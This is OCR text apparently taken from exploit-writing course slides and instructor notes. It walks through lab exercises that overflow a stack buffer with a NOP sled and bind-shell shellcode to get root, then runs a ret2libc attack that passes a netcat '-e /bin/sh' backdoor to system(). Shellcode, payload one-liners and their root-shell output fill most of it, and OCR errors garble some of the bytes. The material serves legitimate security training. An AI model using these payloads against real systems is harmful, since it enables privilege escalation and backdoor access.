starting at the address held in the ESP register. The second “x” in “x/20x™ tells GDB to display the
contents in hex and the number you supply is the number of DWORD’s to examine. “x/20i” would
display the assembly instructions held at those addresses. “x/20s™ would display the strings held at
those addresscs.
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Exercise: Got Root? (4)

e Hint #2

— Determine the Size

e Did you find the start of the buffer you are
overflowing?

e What is the size of your shellcode?

e How many bytes of padding do you need after your
shellcode to overwrite the return pointer?

e Start experimenting with Python at command line,
including your shellcode, padding and return pointer
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Exercise: Got Root? (4)

Hint #2: Determine the Size

Hopefully by now you have the address of ESP when the buffer is allocated during the checkpwi()
function. Even better, you should have the address of the start of the buffer you are overflowing. This
should have been solved through GDB by entering in the A’s, then examining the memory. Now that
you have recorded this memory address, you know the approximate address to be used as the return
pointer during your buffer overflow. Remember that you will first be entering the shellcode into the
buffer and then padding it out until it’s time to overwrite the return pointer. The size of the shellcode is
provided to you in the shellcode.txt file. You can also count out the bytes. Once you have the size of
the shellcode, determine the number of A’s you will need to enter afterward in order to get you to the
cxact location of the return pointer. Here is where you want to enter in the address of where the buffer
starts. It is not a good idca to run the shellcode right up against the return pointer; often, data may get
clobbered (overwritten) during the procedure cpilog or by other function operations. For example:

Start of Buffer | I |----| End of Stack
shellcode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA RP
Padding

Start experimenting with Python or Perl at command linc to see if you can direct program execution to
your shellcode. Example of command line Python to run your attack:

python — *print "\x907*50 + “\x45\xe3\xb3\x ffixb3\x54\x24” + “A”*350 + “\xbe\x fe\xff\ixbf™’
|./password
(NOPs) ( shellcode) (Padding) (Rcturn Pointer)
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Exercise: Got Root? (5)

e Hint #3

— Go Sledding

e 0x90 is the opcode for “No Operation” or “NOP” for
short

e Tells the processor to do nothing and continue on to
the next instruction

e Can be used to increase your chances of success by
adding subsequent NOPs

» The exact location of ESP or the top of the buffer you
are attacking is not needed

Vdvanced Penetradon Testng, Lxploit Writdng, and thical Hacking

Exercise: Got Root? (5)
Hint #3: Go Sledding

0x90 is the opcode for “No Operation” or “NOP” for short. It can be used to increase your chances of
hitting your shellcode. The exact location in memory of your shellcode is difficult to find. The 0x90
NOP instruction makes it so you do not have to have the cxact location. As long as you land
somewhere inside the NOP sled, you should hit your shellcode. This is duc to the fact that the NOP
instruction simply tells the processor to do nothing and to move onto the next instruction. It is used in
processors for timing purposes, but is great to improve your chances of successfully running an
exploit. The idea is to fill the start of the buffer with “1x90” NOP instructions, then your shellcode,
then padding, and finally a memory address that falls into the NOP sled for your return pointer. For
example:

Start of Buffer | | | |----] End of Stack
x90'x90'x90'x90 shellcode AAAAAAAAAAAAAAAAA RP
NOPs Padding

You should not run the shellcode right up to the return pointer as it may be clobbered by instructions
during the lifetime of.the function, such as that with thc procedure epilog. Make sure there is a pad
between your shellcode and the return pointer. Also, not every address in the NOP sled will work,
cven though you are hitting it properly. This may be due to boundary alignment, clobbered data, and
various anomalies. Just try moving your landing spot a few times, moving your shellcode, or
increasing the NOPs.
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Exercise Solution: Got Root? (1)

¢ Locating the Stack Pointer

Dump of assembler code for function checkpw:

Ox0B048464 <+0>: push  %ebp
0x08048465 <+1>: mov %esp,%ebp
0x08048467 <+3>: push  %edi
0x08048468 <+4>: push  %esi
0x08048469 <+5>: sub $0x270,%esp

0x0804846T <+11>: mov $0x8048630, %eax
Ox08048474 <+16>: mov %eax, (sesp)

0x08048477 <+19>: call  ©Ox8048350 <printf@plt>
0x0804847¢c <+24>: lea -0x260 (%ebp) ,%eax
0x08048482 <+30>: mov %eax, (%esp)

0x08048485 <+33>: call  0xB048360 <gets@plt>
0x0804848a <+38>: lea -0x260 (%ebp) , beax

(gdb) break *©x804848a - i
Breakpoint 1 at 0x804848a < BreaprInt
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Exercise Solution: Got Root? (1)

We alrcady know from before that the buffer for the password program is 608 bytes. We now need to
find out the approximate location of the stack pointer once our data has been copiced to the buffer by
the gets() function. Let us start by firing up the password program with GDB. We need to sct a
breakpoint on an address when our supplied data resides in the buffer. This way we will be able to
determinc the approximate location of where our shellcode will reside.

Within GDB, type “disas checkpw™ and locate the call to gets(). This function should be located at
0x8048485. The next instruction is located at 0x804848a. This looks like a good spot to set up a
breakpoint so we can view the start of our A’s once gets() has taken in the user supplied data and
placed it into the buffer. Use the command, “break *0x804848a” to sct the breakpoint in GDB.
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Exercise Solution: Got Root? (2)

e Locating the Stack Pointer (cont.)

[(gdb) run < <(python -c 'print “"A" *660")]

Oxbff{fo48
0x410005c9
0x41414141
0x41414141
0x41414141

Breakpoint 1, 0x0804848a in checkpw {)
(gdb) x/20x $esp
Oxbffffo30:
Oxbffffe40:
Oxbffffo50:
Oxbffffo6e:
Oxbffff070:

ox00001000
0x41020174
0x4141414]1
0x41414141
0x41414141

0x000000061

0x4141414]1

0x4141414]
0x41414141
0x41414141

Ox41020114
0x41414141
0x41414141
0x41414141
0x41414141

‘ed Penerraton Testing

. Lxploit Writng,

Exercise Solution: Got Root? (2)

This program takes in stdin once it is executed. The program docs not take arguments. From inside of
GDB we can direct in input using the following syntax, “run < <(python —c¢ ‘print “A” *600").”

Start up GDB and make sure your breakpoint is set for the address after the call to the gets() function.
When you are ready to run the program, cnter in the aforementioned command and press enter. OQur
A’s should now be delivered as input to the program and you should now sce the breakpoint triggered
at 0x804848a. At this point, type in the command “x/20x $esp” and press enter. We can see that the
stack pointer is pointing to Oxbffff030. At the address 0xbffff048 we sce 0x41414141, which is the

start of our A’s.
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Validating the Return Pointer

e Where's the real return pointer?
— Check out just past the end of our A’s
— Then look up that address ... It's main()!

Breakpoint 2, 0x0804848a in checkpw () ‘
(gdb) x/wx Jebp+4 EBP+4sh0uIdalw;é);s poiﬁt ;
Oxbff££25c: 0x08048555 e the retum pointer. |
(gdb) bt : ' {"
#0 0x0804848a in checkpw () The bt command shows us |
#1 0x08048555 in main () ¢=mge il chain

(gdb) x/i 0x8048555-5

0x8048550 <main+39>:call 0x8048464 <checkpw>
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Validating the Return Pointer

So how do we know where to find the return pointer on the stack and how can we validate it? On this
slide, a breakpoint was previously set on the address 0x804848a. This is the address directly after the
call to the gets() function. When hitting the breakpoint we first run the command:

(gdb) x/wx $ebp+4
Oxbffff25c: 0x08048555

EBP should always point to the SFP as we previously discussed. As this is the case, we know that
where ever EBP is pointing to +4 should be the return pointer. We can see the return pointer printed
out as 0x8048555. We then use the bt or “backtrace” command to sce the call chain.

(gdb) bt

#0 0x0804848a in checkpw ()

#1 0x08048555 in main ()

We see that the return pointer shows up again pointing back to main.

Finally, we run the command:

(gdb) =/i 0x8048555-5
O0x8048550 <main+39>:call 0x8048464 <checkpw>
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This simply confirms that dircctly above the address being used as the return pointer is the call to the
checkpw() function. We have confirmed that 0x8048555 is definitely the return pointer and how to
casily find it on the stack by referencing EBP+4, and looking at the call chain with the backtrace
command.
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Exercise Solution: Got Root? (3)

e Determine the exact size ...
-612 A’s

Program received signal SIGSEGV, Segmentation fault.
Ox08048500 in granted ()

- 616 A’s

Program recelved signal SIGSEGY, Segmentation fault.
Ox41414141 in ?7 ()
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Determine the exact size...

Now type in “C” to continuc. The program should cxit normally. This is expected since the buffer is 600
bytes and we haven’t overwritten at this point. Let us now quickly validate at what point the return
pointer is overwritten.

Try changing your /tmp/inputl file to 612 A’s via the earlier script and rerun the program inside GDB.
The program should experience a segmentation fault at this point. Notice however that it is showing us
0x08048500 instcad of 0x41414141. The 00 at the end of the address is likely due to a null termination
being performed by the string copying function. We are overwriting SFP and incidentally writing 00 at
the end of the return pointer which is causing a scgmentation fault. We are definitely close.

Run the program onc last time through GDB and make it 616 A’s. You should now sce “Ox4/414141 in
7?7 ().” We now know that at exactly 612 bytes, the next four bytes will overwrite the return pointer.
You could have also looked at the address of the next instruction in main() following the call to
checkpw() and cxamined the memory to locate the return pointer. When inputting 608 A’s you still get
control; however, that is due to a return instruction in the main() function.
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Exercise Solution: Got Root? (4)

e Launching the attack!

deadlist@deadlist:~$ python -c 'print "\x31\xdb\x53\x43\x53\xba\x02\x6a\x6
6\ x58\ x99\ x89\ xe 1\ xcd\x80\x96\ x43\x52\x66\x68\x27\x0f\x66\x53\x89\xel\xba\
x66\x58\x50\x51\x56\ x89\ xel\xcd\x80\xbO\x66\xd1\xe3\xcd\x80\x52\x52\x56\x4
3\x89\xel\xb0\x66\xcd\x80\x93\x6a\x02\x59\xbO\x3 T\ xcd\xBO\x49\x79\x T\ xbO\
XxOb\X52\x68\x2 F\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\ xel\xc
d\x80" + "A" * 528 + "\x48\xfO\xff\xbf"' |./password

Please enter the password: Access Denied!

Illegal instruction

e Check for port TCP 9999

deadlist@deadlist:~$ netstat -na |grep 9999

deadlist@deadlist:~$ i <'N0pe
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Launching the attack!

At this point we nced to sclect our shellcode. From your /home/deadlist directory, type in “cat shellcode.ixt”
and look at the choices. The onc at the top shows us that it will open up a backdoor on port 9999. Let us
work with that one for now. You can scc that the size of the shellcode is 84 bytes. Our buffer is 600 bytes
and at 612 bytes starts the 4-byte return pointer. With some simple math we can see how much padding we
have to use in order to place our shellcode at the top of the buffer, followed by enough A’s to get us to 612
bytes, and then finally placing in our guess at the address of the start of our shellcode.

612 bytes until the RP — 84 bytes of shellcode = 528 bytes of padding

Let us give this a shot! We've got our shellcode from the shellcode.txt file:

"x3 1xdb'x53'x43'x53'\x6a\x02'x6a\x66'x 58'x99'x89'xe I 'xcd\x 80'\x96'x43'x 52'x66'x 6 8\x 2 7\x 0f\x66'x 53\
89\xe11x6a\x66\x58'x50\x51'x56'\x89xe I'xed\x80'xb0\x66'xd 1 \xe3\xed\x80\x 521x 52\x 56'x43'x89'\xe 1'xb0
x66'\xed'x80'x93\x6a'x02'x59'\xb0\x3fixcd'x80'x49'x 79'\x f9'\xb0\x Ob'\x 52'x 6 8'\x 2 fix 2 f\x 73\ x 68\x 6 8'\x 2 f\x 62
x69\x6e'x89\xe3\x52\x53\x89\xe 1'\xcd\x 80"

We’ve got the 528 A’s needed for padding:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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We’ve got our guess at the start of the buffer:

Oxbffff048

Let us use Python to tie it all together and try to attack the password program. (Not that this is all on onc
ling)

python —¢ ‘print

“x31'\xdb'x53\x43'x53\x6a\x 02'x6a'x66'x 58'x99'\x89\xe 1 \xcd'x80\x 96'x43'x52'x66\x68'x 2 7\x 0 f\x 66 \x
531x89\xc1'x6a'x66'x58'x50\x 5 1'x56\x89\xc 1 \xed\x80\xb0\x66\xd 1 \xe3'xcd'x 80'x52'\x 52\x 56'\x4 3 \x 89\
xe 1'xb0\x66'xcd'x80'x931x6a'x02'x 59\xb0'\x 3 fixcd'x 80\x49'x 79\x {9 xb0'x 0b\x 52\x 68 \x 2 f\x 2 fix 73\x 68\
x68'x2Mx62\x69'\x6¢\x89'xc3'x52\x53\x 89\xe I'\xcdix 80" + “A”*528 + “\x48\x fO\xffixbf™ |./password

Now check to sce if your computer is listening on port TCP 9999. Doesn’t look like it. This must mean
that we didn’t guess the exact location of our shellcode. Though it is possible to keep on guessing, let us
improve our chances.
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Exercise Solution: Got Root? (5)

e Increasing our chances ...

deadlist@deadlist:~% python -c 'print "\x9@" * 300 + "\x31\xdb\x53\x43\x53
\x6a\x02\x6a\x66\x58\ x99\ x89\ xe 1\ xcd\ xB0\x96\ x4 3\ x52\ x66\ x68\ x 27\ xOF\x66\ X
53\xB9\xel\x6a\x66\x58\ x50\ x5 1\ x50\ XxBN xe 1\ xcd\ xBO\ xhO\ x66\ xd 1\ xe3\ xcd\ x80
\x52\x52\x56\x43\x89\ xe1\xb@\x66\ xcd\x80\ x93\ x6a\x02\x59\ xbO\x3F\xcd\x80\ x
AT\ TO\XbO\ X0\ x52\ %68\ x2 F\x2 FAX73\x68\x68\x2 fAx62\x69\ xbe\ x89\xe3\ x52
\x53\x89\xel\xcd\x80" + "A"™ * 228 + "\x20\xfl\xff\xbf"' |./password&

[1] 23283
deadlist@deadlist:~$ netstat -na |grep 9999
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN
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Increasing our chances...

No-Operation (NOP) instructions as previously mentioned provide us with a way to incrcasc our
chances of successfully exploiting a stack-based overflow. Remember, the NOP instruction simply
tells the processor to do nothing and move to the next instruction. The hexadecimal number 90 is the
NOP opcode and is what we will usc to try to be more successful than our last attempt. Let us now
replace some of the A’s we used for padding with NOPs. We will of course now want to start off our
cxploit with the NOP instructions, followed by our shellcode, followed by our padding of A’s, and end
with our gucss at the return pointer. If we can overwrite the return pointer with an address that falls
within our NOP sled, it should drop down and execute our shellcode. Let us change our original guess
at the start of the shellcode from 0xbffff048 to 0xbffff120 to try and land somewhere in our NOP sled.

So now we want:

deadlist@dcadlist:~$ python -¢ 'print "x90" * 300 +

"x3 I'xdb\x53'\x43\x53'x6a'x02'x6a\x66\x 581x99'\x89'\xe | \xcd'x80'x96\x43'x 52\x 66'\x 68 \x 2 7\x 0 f\x 66\
x53\x89'xe 1'x6a'x66'x58\x50\x5 1'x56'\x89'xc 1 \xcd'x80'xb0'\x66'xd 1'xe3\xcd \x80'x52\x 52'1x 56\x4 3\x
89'xe 1'xb0'\x66'xcd\x80'x93'\x6a'x02'x 59'xb0'\x 3 fixcd\x 80\x49'x 79'x fO\xb0\x 0b\x 52\x 68'\x 2 fix 2 fix 73,
x68\x68'x2f\x62'x69\x6¢'x89'xe31x52'x53'x89\xe I'xed'x 80" + "A" * 228 + " 20\xf1\x fixbf™
|/password&

The process should be hanging at this point, so we add the “&” on the end of the program name to run
it in the background. Run a “netstat —na |grep 9999 to sce if your system is listening on that port. If
it’s not listening, try moving the return pointer guess around within the NOP sled. Not cvery address
will work due to alignment and other issucs.
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Exercise Solution: Got Root? (6)

e Driving it home ...
e Netcat 127.0.0.1 9999

deadlist@deadlist:~% nc 127.6.8.1 9999

id

uid=1000(deadlist) gid=1000(deadlist) euid=0{root) egid=0(root) groups=0(r
oot),4(adm),24(cdrom),27{sudo),30(dip), 46 (plugdev),109(1padmin),b 121{sambas
hare), 1000 (deadlist)

whoami

root

e id
e whoami
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Driving it home...

At this point the exploit should have been successful and your system should be listening on port TCP
9999. If not, go back and review your code to make surc you have not made any mistakes. If your
system is listening on port TCP 9999, type in “nc 127.0.0.1 9999 and see if you get in. You'll
probably just sce a blank linc with no prompt. That’s okay, try typing in “id” and “whoami.” You
should be showing as Root! Congratulations, this was a tougher cxploit than the last! It’s all uphill
from here.
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Why does it Only Work
on Some Addresses?

e Common questions:
— "I'm landing in my NOP sled. Why isn't it working?”

= "Why does it work on some addresses in the NOP sled but not
others?

- "Why does it work inside/outside the debugger, but not the other
way around?”
e Answers: (Keep Trying!!!)
— Data in buffer may be getting clobbered
- Stack alignment issues
- Idiosyncrasies in program behavior
Debuggers drop privileges
Memory layout may differ slightly in the debugger

I

|
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Why does it Only Work on Some Addresses?

This slide contains common questions from those new to exploit development, along with some
answers. At the end of the day, sometimes there may not be an obvious reason as to why one address
works and another does not. You could spend countless hours debugging and tracing exactly why one
address does not work over another, but it is often better to try a range of addresses, moving around the
position of your shellcode within the buffer, increasing and decreasing NOPs and padding, ctc.

Finding the reasoning why one address may work over another when they are adjacent and both
containing NOPs will likely only be specific to that one program. The next program will have its own
sct of issues.
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Stripped Programs (1)

e The “strip” tool removes symbol tables

deadlist@deadlist:~$ gcc -fno-stack-protector -z execstack password.c -o
password2

deadlist@deadlist:~$ strip password2

deadlist@deadlist:~$ i

(gdb) disas main
No symbol table i1s loaded. Use the "file" command.

- . (gdb) info functions
¢ info functions ALL defined functions:

e PLT entries! [Non-debugging symbols:
= 0x08048350 printf

0x080648350 printfeplt
* Break on gets@plt 0x08048360 gets
Ox0B048360 gets@plt

Advanced Penetraton Testing, Lixg

Stripped Programs (1)

When a program is stripped with the “strip” tool, its symbol tables arc removed. In other words, the
commands such as “disas main” will fail. Functions that require symbol rcsolution are still held in the
PLT. This allows us to still be able to set up our desired breakpoints; however, the larger the program,
the more difficult it is to reverse. On the top image we arc compiling the password.c program again
and naming it something diffcrent so that we can strip it without affecting the existing password

program.

gee —fno-stack-protector —z execstack password.c —o password?2 #The —fno-stack-protector flag tells
the compiler to refrain from inserting canaries.

strip password2 #This strips the program

Now inside of GDB we run the command “disas main™ and it fails. The “info functions” command
within GDB lists out all of the functions inside of the PLT. We can set up a breakpoint on the function
of interest to learn where it is called from within the program.
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Stripped Programs (2)

e Break on 0x8048360 and run
e When the breakpoint is hit, enter bt for “backtrace”

e 0x804848a is the address we broke on in the last
exercise!

(gdb) break *0x8048360

Breakpoint 1 at 0x8048360

(gdb) run

Starting program: /home/deadlist/password2

Breakpoint 1, 0x08048360 in gets@plt ()
(gdb) bt

0x08048360 in gets@plt ()

#1 0x0804848a in 77 ()

#2 Ox08048555 in 77 ()

#3 0x4103d4d3 in libc start main ()
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Stripped Programs (2)

From within GDB, thc command “brecak *0x8048360" is entered. This is the address of gets() inside of
the PLT. Every call, if there is more than one, to gets() will break on accessing this address. We then
run the program from within GDB and reach the breakpoint in the PLT cntry for gets(). We then issuc
the “bt” command which stands for backtrace. This prints out the stack frames and shows us how we
got to the current function. The addresses listed are actually the return pointers for the called functions.
It should be quite obvious that the address we were using in the previous exercise, 0x804848a, is
printed up as the return pointer to gets@plt. We can now sct up the same breakpoint as we did
previously to sce our data copied to the buffer.
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return-to-libc (1)

e Moving On: return-to-libc
— For when the buffer’s too small

— For when it's configured as non-executable
e Should data located in the stack segment ever be executable?

e The GNU C Library (glibc)

Advanced Penerration Testing, Lxploit Writing, and Iithical Hacking

return-to-libe (1)

Let us talk about a different stylc of attack on the stack called return-to-libe or ret2libe for short. This
method of attack comes in handy when the buffer is too small to hold the shellcode, or if the stack is
non-executable. Programs do not usually hold executable code on the stack, and as such the cxccute
permission can be removed to add a level of protection. This protection, encouraged in the mid-to-late
90’s and implemented by default on modern OSs, significantly reduced the number of stack-based
attacks using the traditional return-to-buffer method.

The GNU C Library is a standard library holding many common functions used by programs. The
functions residing within this library include printf(), strepy(), system(), sprintf() and many others. The
idea with the return-to-libc style of attack is that if the buffer is too small or the stack is non-
executable, we could perhaps pass an argument to one of the functions within libc by overwriting the
return pointer with the desired functions address. Many functions, when called, are programmed to
cxpect an argument, which allows us to pass whatever we’d like. We are limited to available functions
and their capabilitics, but it often is enough to do the job.
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return-to-libc (2)

e Some popular return-to-xxx methods:
— ret2strcpy & ret2gets

e Potentially overwrite data at any location

— ret2sys

e The system() functions executes the parameter passed with
/bin/sh

— ret2plt
e Return to a function loaded by the program
e Many functions take in arguments that you
can place on the stack
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return-to-libe (2)

The system() function in the C library takes in an argument and executes it with “/bin/sh.” This serves
as a very popular use of the ret2libe technique. When using this method of attack, some programs will
temporarily drop their rights upon exccuting an argument passed to system(). This results in a shell
with only user-level privileges. Chaining ret-to-libc often helps with getting around this issue. The
setreuid() function can also help to restore privileges. Remember, debuggers are also infamous for
dropping privileges. If something looks like it should be working, but is failing in the debugger,
always give it a shot outside of the debugger to see if it is in fact working. You may also scc the
“sigtrap” signal picked up by the debugger when privileges are preventing exccution from being
successful.

There arec many other places where execution could be redirected, such as the Procedure Linkage
Table (PLT). If we obtain a list of the functions used within a program by taking a look at the
programs .reloc section, we could overwrite the return pointer with an entry in the PLT and pass the
arguments of our choice. We could use a ret2strepy attack to write anything we’d like at any location.
By chaining libc calls, we could write shellcode at a set location in memory and have the return pointer
finally dircct the flow of execution to that address.
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Exercise: ret2libc (1)

e The passlibc program
— We'll first walk through an example together
— The goal is to open a shell

— The passlibc program is located in your
“/home/deadlist” directory

— This program'’s stack is non-executable!

\dvanced Penetration Testing
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Exercise: ret2libe (1)

Let us try another exercise; this time with a different version of the password program with a modified
buffer. The program is called “passlibc™ and is located in your /home/dcadlist dircctory. This version
uses a smaller buffer. which doesn’t allow us to simply place our shellcode inside the buffer and return
to it. Though we could placc our shellcode after the return pointer and jump down the stack, the
program has been compiled with the “execstack™ flag, taking advantage of hardwarc DEP.

Our goal is to open up a backdoor on TCP port 8989 and bind a root-level shell. If we are successful,
we should be able to connect to the compromised system with netcat and get a shell with root-level
privileges. We’ll run through this onc as a group, and then you’re on your own to try a similar
exercise.
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Exercise: ret2libc (2)

e In your 660.4 folder is a file called “checksec.sh”

— Written by Tobias Klein and available at
http://www.trapkit.de/tools/checksec.html

— Checks a program to see what Linux exploit mitigations
are being used

— Run it against the “passlibc” program as shown below
— Try also running it against the “password” program

|deadlist@deadlist:~$ ./checksec.sh --file passlibc
i RELRO STACK CANARY PIE
Partial RELRO No canary found No PIE
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Exercise: ret2libe (2)

In your 660.4 folder is a file called “checksec.sh.” It is a script written by Tobias Klein to check
programs to see what Linux exploit mitigations are being used. You can find the tool online at
http://www.trapkit.de/tools/checkscc.html. Copy it to your Kubuntu Precise Pangolin VM and try
running it against both the “password” and “passlibc” programs. You should quickly notice that the
“passlibc” program was compiled with w*x (DEP) support, marked by the tag “NX cnabled.” The
following is an example of running the tool against the “passlibc™ program:

deadlistl@deadlist:~$ ./checksec.sh --file passlibc

RELRO STACK CANARY NX PIE
Partial RELRO No canary found NX enabled No
PIE

Note that the results are slightly truncated to fit onto the slide. RELRO has to do with rcordering of
ELF sections, such as BSS and Data, as well as making the Global Offset Table (GOT) read-only at
runtime. Partial RELRO does not mark the GOT as rcad-only. The stack canary option will be covered
shortly. NX is of course data exccution prevention. Position Independent Executable (PIE) helps to
defeat Return Oriented Programming (ROP) attacks by randomizing the location of memory mappings
with each run of the program. We will deal with Address Space Layout Randomization (ASLR) a bit
later.
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Exercise: ret2libc (3)

e Determine the size of the buffer

deadlist@deadlist:~$ ./passlibc

I've caught on to you pal!
[Now the buffer's too small for your shellcode and it's non-executable!

What are you gonna do now???

Please enter the password: AAAAAAAA | Eight A’s, No Overflow
Access Denied! I i

deadlist@deadlist:~$ ./passlibc

I've caught on to you pal!
Now the buffer's too small for your shellcode and it's non-executable!

|What are you gonna do now???

o A%
Please enter the password: AAAAAAAAAAAAAAAAAAAAAAAA 524 A’s

Access Denied! | Overflow
Segmentation fault (core dumped) i 1
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Exercise: ret2libe (3)

Let us first determine the size of the buffer, or at Icast try and find the location of the return pointer. In
this example we are simply entering in cight A’s to see if the program gives us a segmentation fault.
We can see that the program seems to cxit normally. Next, we increcase the number of A’s to 24. As
you can see, this generates a scgmentation fault. We now want a quick way to sce where the return
pointer is located. Again, there are several choices, but for our purposes we will use GDB, as scen on
the next slide. If you wish to enable core dumps, you can run the following command: u/imit —c
unlimited

Some researchers prefer to analyze core dumps as opposed to actively tracing the program during
exccution as you may be given a slightly more accurate view of process information whilst not running
in a debugger; ¢.g. The cxact location of a stack variable. You can load core dump files into GDB
with: gdb —core <core dump file name> .
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Exercise: ret2libc (4)

e Find the address of the next instruction after
checkpw()

0x08048559 <+309>: call 0OxB8048464 <checkpw>
0x0804855e <+44>: mov $0x0, %eax

e Set a breakpoint to find the RP

0x8048497 <checkpw+51>: call Ox8048360 <gets@plt>

0x804849c <checkpw+56>: lea -0x10(%ebp) , %eax
(gdb) break *@x804849c
Breakpoint 1 at ©x804849c
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Exercise: ret2libe (4)

Go ahead and open up the program with GDB. Type in “disas main” and look for the call to the
checkpw() function. The address of the instruction following this call is the return pointer address that
will be pushed onto the stack when checkpw() is called. Next, we need to set a breakpoint for an
address shortly after our data is copied into the buffer inside the checkpw() function. Type in “disas
checkpw™ and look for the call to the gets() function. The address of the instruction following this call
should be a good spot to set a breakpoint. Our data should be placed into the buffer at this point. Type
in the command, “break *0x804849c” and press enter. Notc that there is a small chance that the
addressing layout on your system may not match up exactly. If this is the case, simply look for the
gets() function and usc the address of the instruction following the call to gets().
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Exercise: ret2libc (5)

e Search for the RP 0x804855e

Please enter the password: AAAAAAAA

Breakpoint 1, 0x0804849¢ in checkpw ()
(gdb) x/20x %$esp

Oxbffff280: Oxbffff298 0x08049ff4 0x00000001 0x08048339
Oxbffff290: 0x411c53ed 0x0000000b 0 0x41414141
Oxbffff2a0: 0x00000000 06x00000000 ﬂfﬁififiﬁij::i:> 0x0804855e
Oxbffff2b0o: 0x41601270 0x00000000 0x08048579 0x411c4ff4

e Overwrite it to verify ... Based on the math,
24 A's should do the trick

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in 77 ()
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Exercise: ret2libe (5)

Next, you’ll want to pull out the address of the return pointer that we captured a couple of slides ago.
This was the address of the instruction following the call to checkpw() and should be 0x8084855e.
Since we have sct up our breakpoint, go ahead and start the program by typing “run.” The program
should now ask you to enter the password. Type in eight A’s and press enter. The program should now
hit the breakpoint we sct at address 0x804849¢.

At this point we want to examine the memory near the stack pointer so we may locate the return
pointer. Type in the command “x/20x $esp” and press enter. This command will pull up twenty
DWORD’s of memory, starting at the current location of the stack pointer. Search through memory to
find the return pointer 0x804855¢. Once you locate that, simply count the number of bytes from the
start of the buffer to the return pointer. You entered in cight A’s, which can be seen at the memory
location Oxbffff298. You can simply locate the A’s visually by looking for a scrics of the hex value 41.
Again, 0x41 is a capital “A” in hex-to-ASCII encoding. Since we entered in cight A’s, we need to
include those cight bytes and continue counting until we hit the return pointer. It should be 20 bytes
from the start of the buffer to the beginning of the return pointer. If we write 24 bytes, we should just
overwrite the return pointer. Let us restart the program by typing “run” and this time enter in 24 A’s.
You should get a scgmentation fault showing “0x41414141 in 7? ().” This tclls us that EIP tried to
execute the instruction located at 0x41414141, which is an invalid memory address for this program.
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Exercise: ret2libc (6)

e [ ocate the address of system()

(gdb) p system
$1 = {<text variable, no debug info>} 0x41061170 <system>

e system() is at 0x41061170

e Export our argument as an environment
variable
deadlist@deadlist:~$ export NC="nc.traditional -1 -p 8989 -e /bin/sh"

deadlist@deadlist:~$ ./env NC
NC is located at Oxbffff675
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Exercise: ret2libe (6)

Now that we know the location of the return pointer on the stack, we must determinc the address of the
system() function. If the program is not currently running inside of GDB, type “run” again to restart
the program. Once GDB pauses exccution of the program at the breakpoint you set, type in “print
system.” This should give you the result on the first image above, printing the address of the system()
function, which is 0x41061170. Record this address as you will need it shortly.

Next, we need to create an environment variable with the command of our choice that will be passed
to the system() function. For our example, type in “cxport NETCAT="nc .traditional-1—p 8989 —¢
/bin/sh” and press enter. You may type in “ccho $NC” to make surc you got thc command right. Next,
from your /home/dcadlist directory, type the command “./env NC” and press enter. You should get the
result displayed on the bottom image on the slide. The “env” program is a simple program to show you
the address of where in memory the environment variable you give to it is located. This program
comes in handy often, although its accuracy is not perfect. For example, you may nced to try some
addresses close to the address you are given to find the exact location in memory; i.c. If it gives you
Oxbffff675, the actual starting location you are looking for may be somewhere closer to 0xbffff66b.
Once you determine the location of your environment variable, record it and move on. Note that
environment variables will be at different locations than the address shown on this slide. Each time
you creatc an environment variable, they are placed at different locations and arc specific to your
current shell.
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Exercise: ret2libc (7)

¢ Running the exploit ...

deadlist@deadlist:~$ python -c 'print "A" *20 + "\x70\x11\x06\x415ANS\x6b
\xfe\xff\xbf""' |./passlibc

AAAAAAA 41061170 SANS bffff66b

Exercise: ret2libe (7)
We now have the information nceded to launch our attack on the “passlibe” program. The ASCII
diagram recaps this information and shows the order of how it should be laid out.

AAAAAAA 41061170 SANS bffffe6b

I
buffer  system() Pad Arg

At command-line, enter in: python —¢ “print “A”*20 + “\x70\x 1 1'x06\x4 1 SANS\x6b\x f6\x ff\x b
|./passlibc #Notc that your env var address is going to be different!

This will start the passlibc program and pipe in our attack input in the following order. First, we
send 20 A’s to get us to the start of the return pointer. We then put in the address of the system()
function 0x41061170. Next we add in four bytes of padding. 1 chosec SANS, but you can usc any
four letters here. This is actually the location where execution will jump to once the system()
function is completed. Often times, attackers will place the address of the exit() function here so
that the program terminates gracefully. For our purposes it does not matter. The last piece to put in
is the address of our NC environment variable that opens up our back door.

If your attack is unsuccessful, you may be given clues on the screen, which can help you to casily
diagnosc the problem. For example, many times if you do not have the exact address of the start of
the environment variable, you will get an crror message, often saying something such as, “-p 8989
—¢ /bin/sh” command not found. By looking at this, you might casily deducc that your environment
variable address is a few bytes short of spelling out the full, “nc.traditional - —p 8989 —¢ /bin/sh.”
This would lcad you to guess a few bytes lower on your environment variable address.
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Exercise: ret2libc (8)

Ret2sys Stack layout

e The PAD is
Buffer Buffer the return
pointer for
SFP SFP the call to
RET RET == system() system().
ARGS 4-byte PAD
Normal Stack ARG to system()
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Exercise: ret2libe (8)

This diagram simply shows the layout of a ret2sys attack on the stack. On the left is a normal stack. On
the right is the stack after we lay out our ret2sys attack. Everything is the same until you get to the
return pointer. As you can sce, we have overwritten the return pointer with the address of the system()
function. Since we’re calling a function, we have to mimic what the stack should look like. The
system() function will expect to sce the return pointer as the next four bytes on the stack, followed by
arguments that system() will read in. For the return pointer to the system() function call, we are using a
pad. It doesn’t matter what it is as long as it’s four bytes and not null bytes, as that will terminate the
